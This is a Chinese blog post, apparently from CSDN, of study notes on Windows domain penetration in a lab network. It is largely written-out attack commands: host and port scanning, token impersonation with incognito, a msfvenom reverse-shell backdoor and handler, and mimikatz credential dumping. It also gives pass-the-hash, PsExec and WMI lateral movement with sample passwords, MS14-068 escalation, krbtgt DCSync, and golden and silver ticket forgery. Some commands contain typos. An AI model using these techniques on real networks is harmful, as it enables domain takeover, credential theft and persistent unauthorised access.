内网渗透学习总结

内网渗透

内网渗透思路:

通过域主机,找到域控ip以及管理员账号,利用域成员主机为跳板,扩大渗透范围。设法从域成员主机内存中dump域管理密码,进而拿下域控 渗透整个内网。

12server7-域控 192.168.1.12

12server-客户机 192.168.1.17
内网渗透相关命令
query user || qwinsta 查看当前在线用户
net user 查看本机用户

net user /domain 查看域用户
net view 查看当前域计算机列表
net view /domain 查看计算机有几个域

net group "domain controllers" /domain 查询域控
arp -a 查看存活主机
net config workstation 查看当前域-计算机名-用户

nltest /dclist:moonsec 查询域控
主机发现

在域内进行横向渗透时,要收集主机的ip及端口开放信息

1.可用nbtscan这么一个工具来探测存活主机

nbtscan.exe -r 192.168.0.0/2

2.还可以使用kali上的msf进行探测

主机存活探测:
auxiliary/scanner/discovery/arp_sweep ARP 扫描
auxiliary/scanner/discovery/udp_sweep UDP 扫描
auxiliary/scanner/netbios/nbname NETBIOS 扫描
auxiliary/scanner/snmp/snmp_enum SNMP 扫描
auxiliary/scanner/smb/smb_version SMB 扫描
端口扫描:
auxiliary/scanner/portscan/ack TCP ACK 端口扫描
auxiliary/scanner/portscan/ftpbounce FTP bounce 端口扫描
auxiliary/scanner/portscan/syn SYN 端口扫描
auxiliary/scanner/portscan/tcp TCP 端口扫描
auxiliary/scanner/portscan/xmas TCP XMas 端口扫

3.使用nmap进行扫描

namp -sS -P- 1-6553 -A -v 192.168.1.0/24

关于Token

通过窃取令牌进行身份伪造,从而获取不同系统权限

当用户输入用户名与密码成功后,系统会生成一个token返回给用户。那么有了token,我们就要权限去查看或操作系统相关资源(也就是是说当我们去访问系统上的某个进程其实也就是打开某个文件或程序时,会附带上token的拷贝,有了这个我们才能访问与使用)

Access token令牌说明
表示访问控制操作主体的系统对象

其实也就是说有了这个令牌我们就可以访问系统上相应的资源。
相关文章:
https://blog.csdn.net/qq_39658756/article/details/107510007?spm=1001.2101.3001.6650.3&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-3-107510007-blog-78404136.pc_relevant_multi_platform_whitelistv1&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-3-107510007-blog-78404136.pc_relevant_multi_platform_whitelistv1&utm_relevant_index=6

https://blog.csdn.net/huhaoxuan2010/article/details/78404136?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1-78404136-blog-115013922.pc_relevant_aa_2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1-78404136-blog-115013922.pc_relevant_aa_2&utm_relevant_index=2
使用AccessToken来窃取令牌
1.那么首先可以通过此工具对系统上token进行列举
incognito.exe list_tokens -u
2.可模拟其他用户令牌,通过相应令牌模拟相应用户
incognito.exe execute -c "完整的 Token 名" cmd.exe
  1.比如模拟系统权限
  incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
  2.获取域普通用户
incognito.exe execute -c "moonsec\test" cmd.ex
使用.MSF 下的 incognito 模块来窃取令牌
首先生成后门,把后门放到客户机中

msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=6666 LHOST=192.1
68.0.115 -f exe -o msf.exe

然后监听端口

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 6666
exploit



use incognito #进入 incognito 模块
list_tokens -u #列出令牌

伪造令牌
impersonate_token 12SERVER-01\Administrator #假冒 12server-01\adminst
rator 的令牌
impersonate_token moonsec\\test #假冒 moonsec\test
的令牌
impersonate_token "NT AUTHORITY\SYSTEM" #假冒 System 的令牌

 那么通过伪造令牌可以拿到不同权限用户

想要退出当前用户执行rev2self
通过ps查看进程从进程里窃取令牌
steal_token PID

返回之前的token rev2self
横向渗透
一.PTH(pass-the-hash) HASH 传递

原理:攻击者通过LM Hash和NTLM Hash访问远程主机或服务。

1.在windows系统中会使用NTLM身份认证

NTLM身份认证不使用明文,而是使用加密后的hash值,hash值由API生成

#hash 分为 LM hash 和 NT hash,如果密码长度大于 15,那么无法生成 LMhash。从 Windows Vista 和 Windows Server 2008 开始,微软默认禁用 LMhash。

如果禁用了NTML认证PsExec无法利用获得的NTLM hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现PTH攻击

#如果攻击者获得了 hash,就能够在身份验证的时候模拟该用户(即跳过调用
API 生成 hash 的过程)

具体步骤:

总的来说就是使用猕猴桃(mimikatz)来抓取本地管理员的NTMLHash。

1.12server管理员登陆后,进入猕猴桃,依次输入以下命令。
privilege::debug
sekurlsa::logonpasswords
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> pass
word.txt
2.在password.txt中找到本地管理员NTMLHash值 复制
3.那么我使用主机win10 进行远程登陆 将NTMLHash值复制粘贴上去
进入猕猴桃依次运行
privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.199.119 /ntlm:f951e45b99588cda5c03a4fc91a71f14
net use \\192.168.199.119  与本地管理员建立IPC
dir \\192.168.199.119\c$   访问c盘
二.使用psexec来远程连接主机并执行命令

在禁用了NTML认证的情况下无法使用

步骤如下:

1.net use \\\192.168.199.119\ipc$ 6151399Llh /user:administrator  建立ipc连接

2.net use   查看建立的连接

3.PsExec64.exe /accepteula /s \\192.168.199.119 -u Administrator -p 6151399Llh cmd
cmd  发起攻击

上面是建立在明文之上的,下面使用hash进行登陆

使用hash进行登陆,那么会出现一些问题,报错系统找不到指定文件。那么可以使用·impacket这个工具包下的psexec来利用
python3 psexec.py moonsec/Administrator@192.168.0.142
执行命令后输入密码

报错  PsExec64.exe -hashes f951e45b99588cda5c03a4fc91a71f14  .\Administrator@192.168.199.119


WMI
WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,
Windows 98 以后的操作系统都支持 WMI。
由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将
PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。

说白了,WMI也能够远程连接主机并执行命令,隐蔽性好于PsExec.

步骤:

wmic /node:192.168.199.119 /user:administrator /password:6151399Llh process call create "cmd.exe /c ipconfig > c:\ip.txt"

net use \\192.168.199.119\ipc$ "6151399Llh" /user:administrator

type \\192.168.199.119\c$\ip.txt


wmiexec.vbs脚本的使用

wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能

cscript //nologo wmiexec.vbs /shell 192.168.199.119 administrator 6151399Llh

cscript wmiexec.vbs /cmd 192.168.199.119 administrator 6151399Llh "ipconfig"
通过Invoke-WmiCommand.ps1 脚本调用WMI来远程执行命令
# 导入 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps

\# 指定目标系统用户名
$User = ".\administrator"

#指定目标系统的密码

$Password = ConvertTo-SecureString -String "6151399Llh" -AsPlainText -Force

#将账号和密码整合起来,以便导入 Credential

$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password

指定要执行的命令和目标 IP

$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.199.119

\# 将执行结果输出到屏幕上

$Remote.PayloadOutput
通过Invoke-WMIMethod模块来远程执行命令

Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算
机执行命令和指定程序。

# 指定目标系统用户名
$User=".\administrator"
# 指定目标系统密码
$Password=ConvertTo-SecureString -String "6151399Llh" -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential 中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
# 在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.199.119" -Credential $Cred

wmic其他命令:

远程重启机子

wmic /node:192.168.199.119 /user:administrator /password:6151399Llh process call create "shutdown.exe -r -f -t 0“

对以上的各种远程连接用法做个总结,

通过使用明文或者是pth Hash传递的方式,还有脚本 来进行远程连接

并且能够远程执行命令,达到这样一种攻击方式。

而这种通过多种方式访问远程主机或者并且能够执行命令。

在内网渗透的环境中,横向移动攻击者首先要获取域用户的密码或者是hash值才能进行,也就是上面各种远程连接其实也就是在内网渗透时横向可以用到的方法

金票和银票的区别
获取的权限不同
金票:伪造的 TGT,可以获取任意 Kerberos 的访问权限
银票:伪造的 ST,只能访问指定的服务,如 CIFS
认证流程不同
金票:同 KDC 交互,但不同 AS 交互
银票:不同 KDC 交互,直接访问 Server
加密方式不同
金票:由 krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
票据传递之金票 思路:

那么首先通过MS14-068这个exp进行域普通用户的提权(我们可以通过PsExec64.exe来获得·一个回显的shell,提权之后,添加域管用户。

之后登陆域管用户。

那么金票的前提是要获得

伪造金票的所需条件
1、域名称
2、域的 SID 值
3、域的 KRBTGT 账号的 HASH
4、伪造任意用户名

那么我们就可以通过猕猴桃来获取krbtgt的hash

使用一下命令导出用户 krbtgt 的 hash:
mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /all /csv
或 lsadump::lsa /inject
mimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /user:krbt
gt
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /a
ll /csv" "exit">loghash.tx

利用 mimikatz 生成金票生成.kirbi 文件并保存:

mimikatz.exe "kerberos::golden /admin:system /domain:moonhack.com /sid:
S-1-5-21-3439616436-2844000184-3841763578 /krbtgt:4c1d57638dddb470a8588
af80160f5f6 /ticket:ticket.kirbi" exit
/admin:伪造的用户名
/domain:域名称
/sid:SID 值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt 的 HASH 值
/ticket:生成的票据名称 //不是写入内存中的命令

之后将生成的票据,拿到域普通用户中进行导入,可以访问域控

票据传递之银票 思路:

通过服务器上用户hash能够伪造ST,因为ST就是由是通过上面的hash进行生成,并且不经过kdc。

但是伪造的门票只对部分服务起作用。

特点
1.不需要与 KDC 进行交互
2.需要 server 的 NTLM hash

具体操作介绍

由登陆上面创建的域管用户的前提可看出,首先是必须要能够登陆到域管中,也就是银票的前提是域普通用户进行的提权,方可银票操作。

登录上面创建的域管用户,用管理员权限打开 CMD,cd 到 mimikatz 存放的目录,
去执行 mimikatz 的命令,得到 SID 和 NTLM,
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.t
xt

先使用 mimikatz 清空票据,再导入伪造的票据,具体伪造票据的命令:

kerberos::purge
kerberos::golden /domain:moonsec.fbi /sid:S-1-5-21-3068616892-389061042
4-3278931909 /target:12server-dc.moonsec.fbi /service:cifs /rc4:42e2656
ec24331269f82160ff5962387 /user:administrator /ptt

使用方法:

kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名>
/service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt
其中的用户名可以随便写
服务类型可以从以下内容中来进行选择,因为我们没有 TGT 去不断申请 ticket,
所以只能针对某一些服务来进行伪造
金票和银票的区别
获取的权限不同
金票:伪造的 TGT,可以获取任意 Kerberos 的访问权限
银票:伪造的 ST,只能访问指定的服务,如 CIFS
认证流程不同
金票:同 KDC 交互,但不同 AS 交互
银票:不同 KDC 交互,直接访问 Server
加密方式不同
金票:由 krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值